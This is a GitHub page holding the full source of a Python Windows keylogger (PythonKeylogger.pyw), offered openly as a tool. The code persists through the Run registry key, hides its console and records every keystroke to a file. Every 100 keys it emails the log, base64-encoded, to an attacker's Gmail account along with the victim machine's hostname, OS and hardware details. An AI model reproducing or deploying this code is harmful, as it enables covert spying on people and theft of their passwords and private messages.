-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathPythonKeylogger.pyw
121 lines (115 loc) · 3.33 KB
/
PythonKeylogger.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import win32api
import win32console
import win32gui
import pythoncom,pyHook
import smtplib
import base64, os, sys, re, string
import sqlite3
import socket
import platform
import uuid
from _winreg import *
def addStartup(): # this will add the file to the startup registry key
fp = os.path.dirname(os.path.realpath(__file__))
file_name = sys.argv[0].split('\\')[-1]
new_file_path = fp + '\\' + file_name
keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
SetValueEx(key2change, 'Im not a keylogger', 0, REG_SZ,
new_file_path)
addStartup()
## CHANGE THIS ##
sender = 'your_email@gmail.com'
reciever = 'your_email@gmail.com'
password = 'your_password'
# Dont change this
marker = "AUNIQUEMARKER"
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
#create text file
with open('output.txt','w+') as f:
print ""
f.close
print "Running..."
points = 0
def OnKeyboardEvent(event):
#Ctrl-E
global points
points += 1
print points
if event.Ascii==5:
f=open('output.txt','r+')
f.close()
os.remove("output.txt")
sys.exit(0)
if event.Ascii !=0 or 8:
f=open('output.txt','r+')
buffer=f.read()
f.close()
f=open('output.txt','w+')
keylogs=chr(event.Ascii)
#if press ENTER
if event.Ascii==13:
keylogs='\n'
if event.Ascii==32:
keylogs=' '
buffer+=keylogs
f.write(buffer)
f.close()
if points == 100: ## how may letters typed
points = 0
filename = "output.txt"
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)
body = """
New stuff info from victim
===========================
Name: %s
FQDN: %s
System Platform: %s
Machine: %s
Node: %s
Platform: %s
Processor: %s
System OS: %s
Release: %s
Version: %s
""" % (socket.gethostname(), socket.getfqdn(), sys.platform,platform.machine(),platform.node(),platform.platform(),platform.processor(),platform.system(),platform.release(),platform.version()) ###########
part1 = """From: Victim <xxx@gmail.com>
To: xxxx <xxx@gmail.com>
Subject: New Info From Keylogger
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)
part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit
%s
--%s
""" % (body,marker)
part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s
%s
--%s--
""" %(filename, filename, encodedcontent, marker)
message = part1 + part2 + part3
try:
fo.close()
f.close()
smtpObj = smtplib.SMTP('smtp.gmail.com:587')
smtpObj.starttls()
smtpObj.login(sender, password)
smtpObj.sendmail(sender, reciever, message)
print "Success"
os.remove("output.txt")
f = open('output.txt','w+')
f.close()
except Exception as e:
print "Error: "
print e
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()